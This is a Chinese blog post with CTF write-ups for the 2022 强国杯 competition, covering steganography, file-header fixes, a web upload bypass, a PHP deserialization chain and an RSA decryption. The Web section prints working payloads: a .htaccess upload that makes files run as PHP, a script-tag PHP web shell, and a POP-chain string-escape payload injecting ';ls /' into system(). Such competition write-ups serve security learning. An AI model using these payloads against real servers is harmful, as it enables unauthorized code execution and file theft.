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Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本
强国杯 2022 Writeup
2022-07-17 · via Hi, I Am I

写在前面

感觉比赛体验一般,可以理解毕竟这比赛是首届,8:59 准时蹲签到题,结果 9:01 才上签到题?!一开始我以为没有签到题…

赛题迷之崩(赛方说:flag回显成了默认值,所以得到的不是正确flag,下线维护题目,但是已经有十几只队伍提交成功了啊?!接着下线维护了所有 PWNWeb 题型,重新上线过后除一二三血,其他队伍均需要重新提交…

其次就是最后环境变成了这样,无法销毁,无法延时,无法重开,直接摆烂了,反正能进复赛就行了。

image-20220717184123508

Misc

Welcome_to_QGB

base64 解码得到flag

找找GIF

aaa 发现文件头是 png,我们直接改为 aaa.png

image-20220717010044434

改完很明显发现图少了半截,直接更改高度,改完旋转一下图像得到 bbb.zip 的解压密码 fHKKjfido%^&v1

image-20220717010254035

解压后得到 bbb 然后我们发现关键字符串 NETSCAPE2.0 这个字符串说明这个文件是 GIF

image-20220717010425862

我们加上文件头 47 49 46 38 39 61 ,同时文件名改为 bbb.gif 即可得到flag

image-20220717010918792

大佬大佬

lsb 隐写,直接导出为 flag.png

image-20220717011122132

然后修改文件高度即可

image-20220717011223763

The fun picture

爆破出密码为 6g3T

image-20220717011306242

解压后三个文件flagflag.txt 是用来迷惑我们的,通过16进制编辑器发现 FUN.png 实际上为 zip 压缩包文件, FUN.png 改为 FUN.zip 得到 flag3 ,然后发现 flag3 缺少 png 文件头 89 50 4e 47 ,添加后文件后缀改为 .png 扫码得到flag

image-20220717011626423

B@tCh

根据文件内容特征判断为 BatchEncryption[原创工具][201610]BatchEncryption - 批处理加密程序)加密后的文件,找了个解密脚本 还原BatchEncryption(201610版本)混淆的批处理文件

我们直接把第 17-19 行注释掉,同时 i 的值改为 9 。因为原本第 9-60 个字符为 ::BatchEncryption Build 201610 By gwsbhqt@163.com 字符串,但题目没有这个字符串,所以我们改为从第 9 个字符开始解密,(其实使用16进制编辑器在题目中加入这段字符串就不用修改脚本啦,但是感觉有点麻烦

image-20220717182638899

Web

Upload

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不可以有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("em..........这不还是php吗");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型这么明显!");
        }
    }
}
?>

黑盒测了一下,过滤了 phmime ,我们直接上传图片马,先上传一个 .htaccess 文件,把所有文件都当做 php 来执行

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在用 JS 的方式写个 PHP 一句话,一开始写的最常见的一句话被过滤了,看了一下 phpinfo 发现命令执行函数全过滤掉了,反手使用内置函数,先用 var_dump()scandir() 函数打印指定目录内容

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

GIF89a <script language="php">var_dump(scandir('/var/'))</script>

------WebKitFormBoundaryrFspz4AKexD8h06m
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryrFspz4AKexD8h06m--

然后在使用 highlight_file() 函数读取文件内容,得到flag。

GIF89a <script language="php">highlight_file('/var/flag')</script>

ezpop_new

<?php
function filter($string) {
    $safe = array('system', 'fopen', 'fread', 'file_get_contents', 'flag');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'nonono', $string);
}
class PingUtils {
    function __call($name, $args) {
        system("ping -c4 ${args[0]}");
    }
}
class Cindy {
    var $someone;
    var $phone;
    function call() {
        $this->phone->call($this->someone);
    }
}
class Bob {
    public $flag = True;
    public function __get($a) {
        if ($this->flag) {
            $cindy = new Cindy();
            $cindy->someone = $_REQUEST['someone'];
            $cindy->phone = "p50";
            #var_dump(filter(serialize($cindy)));
            $cindy = unserialize(filter(serialize($cindy)));
            $cindy->call($someone);
        } else {
            echo 'nonono';
        }
    }
    public function __wakeup() {
        $this->flag = False;
    }
}
class Alice {
    public function __destruct() {
        echo $this->c->b;
    }
}
highlight_file(__FILE__);
@unserialize($_GET['pop']);

审计后,找到反序列化最终的落脚点在 class PingUtils::__call()中的 system("ping -c4 ${args[0]}"); ,我们能控制 args[0] 参数 ,而且只需通过命令分隔符;即可绕过 ping 命令执行想要的命令。那么一直往前推,即可找出整个POP链:

class Alice::__destruct()
echo $this->c->b;
class Bob::__wakeup() //绕过__wakeup()
class Bob::__get($a)
$cindy = unserialize(filter(serialize($cindy))); //字符串逃逸修改$cindy->phone
= "p50"为$cindy->phone = "ls /flag"
$cindy->call($someone);
class Cindy::call()
$this->phone->call($this->someone);
class PingUtils::__call($name,$args)
system("ping -c4 ${args[0]}");

反序列化过程中还涉及到了两个tricks:

绕过 __wakeup()

由于我们需要进入到 class Bob::__get($a)if 子句中,但 Bob 对象在反序列化时首先会触发__wakeup() ,从而使得其 flag 属性为 False 。所以我们通过手动修改序列化流, 使得序列化流中所表示的属性个数大于真实属性个数时,这样会跳过 __wakeup() 魔术方法的执行。

编写exp:

<?php class Alice {
    public $b;
    public $c;
}
class Bob {
    public $flag;
}
$a = new Alice();
$b = new Bob();
$b->flag = True;
$a->c = $b;
$a->b = 'unknow';
?>
    
# 手动修改序列化流:
# O:5:"Alice":3:{s:1:"b";s:6:"unknow";s:1:"c";O:3:"Bob":1:{s:4:"flag";b:1;}}
# O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D

这里修改Alice 的属性个数或者 Bob 的属性个数应该都可以。

PHP字符串逃逸

利用 $cindy->someone = $_REQUEST['someone']; 逃逸出字符串,从而覆盖 class Bob::__get($a)Cindy 对象的 phone 属性为 PingUtils 对象。而我们要执行命令也存储在 somesone 属性里。

# 1.本地调试,打印出Cindy对象序列化后的流
"O:5:"Cindy":2:{s:7:"someone";s:12:"flagflagflag";s:5:"phone";s:3:"p50";}"

# 2.组织我们要逃逸出的内容。共35个字符
";s:5:"phone";O:9:"PingUtils":0:{}}

# 3.选用fopen关键字,被filter函数替换为nonono后就会溢出一个字符,因此需要35个fopen。
O:5:"Cindy":2:s:7:"someone";s:213:"fopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopenfopen;ls/";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# 4.替换后就是,溢出35个字符
O:5:"Cindy":2:s:7:"someone";s:213:"nonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono;ls /";s:5:"phone";O:9:"PingUtils":0:{}}";s:5:"phone";s:3:"p50";}

# URL编码
%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

因此最后完整的payload就是:

/?pop=O%3A5%3A%22Alice%22%3A3%3A%7Bs%3A1%3A%22b%22%3Bs%3A6%3A%22unknow%22%3Bs%3A1%3A%22c%22%3BO%3A3%3A%22Bob%22%3A1%3A%7Bs%3A4%3A%22flag%22%3Bb%3A1%3B%7D%7D&someone=%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%66%6f%70%65%6e%3b%6c%73%20%2f%22%3b%73%3a%35%3a%22%70%68%6f%6e%65%22%3b%4f%3a%39%3a%22%50%69%6e%67%55%74%69%6c%73%22%3a%30%3a%7b%7d%7d

Crypto

babyRSA

import gmpy2
p = 138426212841397149251588296134109165537899310438173750798364671675288360000561798355248532054510396589533971267028332214842673811687883616744131130398289077554612883492204032984950562003356001139508926059499376562553551028636226548350263501563647121411422314575340826478224596800551927493501012088298680613879
q = 143049585916449723925099288769361999764006236021072588846981723369760726410300239985500007665844216512624584735358913225102358935263419564762626442560266419262555820476424949328464294635696200999314599615276252945343396324462380831303649657541178450608628341694003116451196859197001909770503494349726784153027
e = 33
c = 8289193595993122921665841895022976104081072031742625708463764526627277052318279883859957490142516216024577600646435489409922900157398525709897066174566802837502462355349783465478982642622084973551364981880045419080599645199823932885880822500635358984691098019833373137233421653021398144494548012693727095816659975325054446041806452350925160187980103112171629784199440456927010178848494443466141894033183475723365090593126309457761806861074583084445735295863195227044710706725657905516027928685083079534461311107335936896525014768633605005601716003989306032040278750752221002412831419560140443505534384151408234420458
n = p * q
fn = (p - 1) * (q - 1)
d = gmpy2.invert(e, fn)
h = hex(gmpy2.powmod(c, d, n))[2:]
if len(h) % 2 == 1:
  h= '0' + h
print(h)

输出的内容16进制转字符串即为flag